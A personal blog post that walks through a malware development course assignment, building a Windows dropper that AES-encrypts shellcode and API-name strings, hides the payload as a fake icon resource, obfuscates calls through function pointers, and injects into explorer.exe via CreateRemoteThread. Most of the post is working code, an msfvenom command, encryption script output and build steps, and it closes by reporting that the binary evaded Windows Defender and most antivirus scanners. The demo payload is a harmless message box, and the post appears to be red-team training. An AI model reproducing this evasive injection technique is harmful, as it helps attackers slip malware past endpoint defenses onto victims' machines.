Post

Malware Development Essentials Assignment

Introduction

This is my first blog post and is all about the assignment part of the course: Malware Development Essentials, by sektor7. The course can be found here: MalDev Essentials. The purpose of this assignment is to create a dropper that encrypts the payload and all the strings with AES and obfuscates all the function calls. The payload is a MessageBox generated by msfvenom, just for PoC purposes. My code, based on the course’s template code, can be found in my Github: geobour98’s Github.

Payload

The payload can be generated with the following msfvenom command:

1
msfvenom -p windows/x64/messagebox TEXT="Hello, from geobour98" TITLE="RTO: MalDev Essentials" EXITFUNC=thread -f raw -o msgbox64.bin

It is a 64-bit MessageBox with custom text and title, that exits as a thread, because the process injection happens by creating a thread with a pointer to CreateRemoteThread (implant.cpp). The shellcode is in raw format and is stored in msgbox64.bin.

AES Encryption

All the strings and the encryption key, which is generated at runtime, are encrypted with AES (aesencrypt.py).

Encryption key generation:

1
KEY = urandom(16)

The list of the strings is the following:

1
str_list = ["kernel32.dll", "explorer.exe", "GetProcAddress", "GetModuleHandleA", "FindResourceA", "LoadResource", "LockResource", "SizeofResource", "VirtualAlloc", "RtlMoveMemory", "CreateToolhelp32Snapshot", "Process32First", "Process32Next", "lstrcmpiA", "CloseHandle", "OpenProcess", "VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread", "WaitForSingleObject"]

The Python script (aesencrypt.py) is modified in order to print the encrypted strings and encryption key in a copy-paste format.

1
2
3
4
5
6
7
print('char key[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')

str_list = ["kernel32.dll", "explorer.exe", "GetProcAddress", "GetModuleHandleA", "FindResourceA", "LoadResource", "LockResource", "SizeofResource", "VirtualAlloc", "RtlMoveMemory", "CreateToolhelp32Snapshot", "Process32First", "Process32Next", "lstrcmpiA", "CloseHandle", "OpenProcess", "VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread", "WaitForSingleObject"]
for s in str_list:
	rext = os.path.splitext(s)[0]
	str = aesenc(s + b"\x00", KEY)
	print('unsigned char s' + rext + '[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in str) + ' };')

An example of running the script can be seen below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Z:\RTO-maldev\RTO\10.Assignment>C:\Python27\python.exe aesencrypt.py msgbox64.bin
char key[] = { 0xb6, 0x2, 0x59, 0x6d, 0x5f, 0xab, 0xb6, 0x44, 0xea, 0xd4, 0x8e, 0x57, 0x73, 0x9f, 0x10, 0x2a };
unsigned char skernel32[] = { 0xc1, 0xf5, 0xf8, 0x36, 0x5a, 0xb4, 0x48, 0x24, 0x9a, 0xa5, 0x73, 0x2d, 0x4d, 0xd0, 0x37, 0x52 };
unsigned char sexplorer[] = { 0xaf, 0x5e, 0x2b, 0xd, 0xe, 0x14, 0x62, 0x11, 0xb4, 0xc2, 0x21, 0x31, 0xd8, 0xfb, 0x6, 0xd0 };
unsigned char sGetProcAddress[] = { 0x78, 0x7, 0x35, 0xa5, 0x6b, 0xfa, 0x42, 0xce, 0x2d, 0x22, 0x41, 0x6b, 0x32, 0x27, 0x69, 0x20 };
unsigned char sGetModuleHandleA[] = { 0x55, 0x2a, 0x64, 0x41, 0x57, 0x8c, 0xdf, 0x9f, 0xb0, 0x12, 0x57, 0xe4, 0x53, 0xc6, 0x8f, 0x65, 0xde, 0x87, 0x21, 0x9e, 0x4e, 0xa0, 0x51, 0x81, 0xbd, 0x59, 0xa8, 0x53, 0xec, 0xe4, 0x82, 0x1d };
unsigned char sFindResourceA[] = { 0xe0, 0xb0, 0xfb, 0x8b, 0x94, 0xc6, 0x41, 0xe7, 0x6f, 0xfd, 0x3f, 0xb8, 0xa6, 0x3a, 0xb2, 0xa2 };
unsigned char sLoadResource[] = { 0x84, 0xbd, 0x6a, 0x9f, 0x3c, 0x6c, 0x9a, 0x32, 0x21, 0xcc, 0x1e, 0xc2, 0x3f, 0xf0, 0x21, 0x4b };
unsigned char sLockResource[] = { 0x35, 0x74, 0x43, 0xb6, 0xab, 0x16, 0xd7, 0x62, 0x42, 0x95, 0x81, 0x48, 0x2, 0x3d, 0xcd, 0xdb };
unsigned char sSizeofResource[] = { 0x64, 0xa4, 0xbc, 0x13, 0x85, 0xe, 0x55, 0x76, 0x98, 0xda, 0x71, 0xe4, 0xd8, 0x56, 0x29, 0x88 };
unsigned char sVirtualAlloc[] = { 0xf8, 0xa9, 0x9, 0x5c, 0x9e, 0x4f, 0xfa, 0x9a, 0x39, 0xfe, 0x7f, 0xe3, 0x51, 0xec, 0x27, 0x9c };
unsigned char sRtlMoveMemory[] = { 0x5f, 0xe2, 0x76, 0xcb, 0x47, 0x5c, 0xfb, 0x86, 0xf2, 0xa7, 0x3a, 0xa, 0x3d, 0xc0, 0x68, 0x8d };
unsigned char sCreateToolhelp32Snapshot[] = { 0xe9, 0x44, 0x5b, 0xfb, 0xe9, 0x79, 0x4d, 0x11, 0x99, 0x33, 0x54, 0x5f, 0x2d, 0xa0, 0x6b, 0xba, 0x6d, 0xeb, 0xb9, 0x7d, 0xfc, 0x6e, 0x85, 0x89, 0x3e, 0xd1, 0xbc, 0xd5, 0xa9, 0x8c, 0x3c, 0xec };
unsigned char sProcess32First[] = { 0xb3, 0x97, 0x91, 0x81, 0x9d, 0xaf, 0xa3, 0x46, 0xf8, 0xa3, 0x22, 0xb4, 0xd2, 0x1f, 0x68, 0x2e };
unsigned char sProcess32Next[] = { 0xfc, 0x43, 0xeb, 0xee, 0xe0, 0x13, 0xa4, 0xb9, 0x3, 0x4, 0x47, 0x21, 0x81, 0x89, 0x17, 0x31 };
unsigned char slstrcmpiA[] = { 0x4, 0x67, 0xba, 0x14, 0x71, 0x5f, 0x26, 0xf8, 0x25, 0x7a, 0x9, 0xbd, 0xa5, 0x1c, 0x5, 0x3c };
unsigned char sCloseHandle[] = { 0x20, 0x5a, 0xb6, 0xcc, 0xd7, 0x1e, 0xb7, 0x6f, 0x49, 0xdb, 0x92, 0xb7, 0x92, 0x16, 0xf5, 0x11 };
unsigned char sOpenProcess[] = { 0xa9, 0x78, 0xb7, 0x24, 0x7, 0xb0, 0x5e, 0xdf, 0x9a, 0x9b, 0x81, 0x1e, 0xbd, 0x3b, 0xad, 0xfe };
unsigned char sVirtualAllocEx[] = { 0x97, 0xb3, 0x60, 0xe1, 0x2e, 0x45, 0xe1, 0x9, 0x3d, 0x10, 0x6c, 0xd9, 0x71, 0x8a, 0x5, 0xdf };
unsigned char sWriteProcessMemory[] = { 0x7e, 0x39, 0x4a, 0x5f, 0x2, 0xe9, 0x23, 0x94, 0x8b, 0xf1, 0x8d, 0x8b, 0xd0, 0x98, 0xa6, 0x2e, 0x22, 0x32, 0x49, 0xfb, 0xab, 0x94, 0x34, 0xed, 0x9e, 0x78, 0xc5, 0x38, 0xd0, 0xe5, 0x66, 0x3b };
unsigned char sCreateRemoteThread[] = { 0xb7, 0xfc, 0x43, 0xc4, 0x91, 0x68, 0x82, 0xe3, 0x9, 0x75, 0x7f, 0x75, 0xcb, 0x43, 0xe4, 0xf4, 0x84, 0x23, 0x83, 0xdf, 0x20, 0x33, 0xdc, 0x23, 0xc1, 0x67, 0x58, 0x35, 0x71, 0x3f, 0xcc, 0x11 };
unsigned char sWaitForSingleObject[] = { 0x6d, 0x8e, 0x4c, 0xc2, 0xbf, 0xcc, 0xef, 0x99, 0xa1, 0xe5, 0x5a, 0xf1, 0x94, 0x80, 0x2, 0xa9, 0x9f, 0xee, 0xf6, 0x8e, 0xf2, 0x1f, 0xa1, 0x4e, 0x0, 0x4c, 0x99, 0x8f, 0x83, 0x7f, 0x7, 0x14 };

Z:\RTO-maldev\RTO\10.Assignment>

So, this output can be copied and pasted in implant.cpp without modification.

The script, also, takes the msgbox64.bin file as input and creates the file favicon.ico as output, which contains the AES encrypted payload.

Payload in Resources section

There are 3 sections where payload can be stored in a typical PE file.

  • .text -> This is the code section, where the payload lives inside the main function and can be defined as a local variable.
  • .data -> This is the data section, where the payload lives outside the main function and can be defined as a global variable.
  • .rsrc -> This is the resources section, where the dropper is instructed by the compiler to include other files such as icons, images and other PE files.

So, the favicon.ico is created as a separate file in order to be included as a resource (.rsrc section) and from which the payload will be extracted.

Compilation

The resource (rc) compiler is used to compile resources.rc and generate resources.res.

Then, the cvtres executable is used to convert a resource file (resources.res) to an Object file (resources.o).

Finally, the cl executable, which is part of the Visual Studio, produces a COFF Object file (implant.obj) and the executable file (implant.exe). Also, the program is compiled as GUI (/SUBSYSTEM:WINDOWS), which makes the console completely invisible.

GUItrick

In order for the program to be compiled as GUI, the main function inside implant.cpp needs to become WinMain.

1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR, lpCmdLine, int nCmdShow) {

These command can be found in the following batch script: compile.bat.

Dropper

Instead of using direct calls, pointers will be used. An example declaration of a function (pCreateRemoteThread) pointing to CreateRemoteThread can be seen below:

1
2
3
4
5
6
7
8
9
HANDLE (WINAPI * pCreateRemoteThread)(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

First, the encrypted sCreateRemoteThread gets decrypted by calling the function AESDecrypt inside AESDecryptString.

1
AESDecrypt((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));

Then, the pGetModuleHandleA, which points at GetModuleHandleA, returns a handle to the decrypted DLL kernel32.dll. The handle and the decrypted now string CreateRemoteThread are passed to the pointer (pGetProcAddress) of the GetProcAddress function, which returns a memory address. This memory address is pointed by pCreateRemoteThread.

1
pCreateRemoteThread = pGetProcAddress(pGetModuleHandleA(skernel32), sCreateRemoteThread);

The above process is the same for the rest of the functions. That’s how the obfuscation of the function calls is accomplished.

After that the payload needs to be extracted from the resources section using pFindResourceA, pLoadResource, pLockResource and pSizeofResource and is stored in the payload variable.

1
2
3
4
res = pFindResourceA(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = pLoadResource(NULL, res);
payload = (char *) pLockResource(resHandle);
payload_len = pSizeofResource(NULL, res);

The memory for the payload is allocated by pVirtualAlloc, the payload is copied to the allocated buffer by pRtlMoveMemory and the payload is decrypted by AESDecrypt.

1
2
3
exec_mem = pVirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
pRtlMoveMemory(exec_mem, payload, payload_len);
AESDecrypt((char *) exec_mem, payload_len, key, sizeof(key));

The process injection starts by finding (FindTarget) a target process ID (for explorer.exe) by creating creating a snapshot of the current processes (pCreateToolhelp32Snapshot) and searching for the correct one.

1
pid = FindTarget(sexplorer);

The opening of the target process (pOpenProcess) happens next and the actual injection is accomplished by pVirtualAllocEx, pWriteProcessMemory and pCreateRemoteThread inside Inject function.

1
2
3
4
5
6
7
8
hProc = pOpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);
	
		if (hProc != NULL) {
			Inject(hProc, exec_mem, payload_len);
			pCloseHandle(hProc);
		}

Bypasses

implant.exe was executed against a fully updated and patched Windows 11 VM, which didn’t flag it as malicious!

Desktop View Windows Defender Bypass photo

Also, 7 out of 26 AV products in AntiScan.me flagged it as malicious, which is pretty interesting!

Summary

This was a great course for beginners in Malware Development, like me, and I highly recommend purchasing it. It is just the tip of the iceberg. Definitely going for the Intermediate next.

Please, do not hesitate to contact me for any comments or improvements.

This post is licensed under CC BY 4.0 by the author.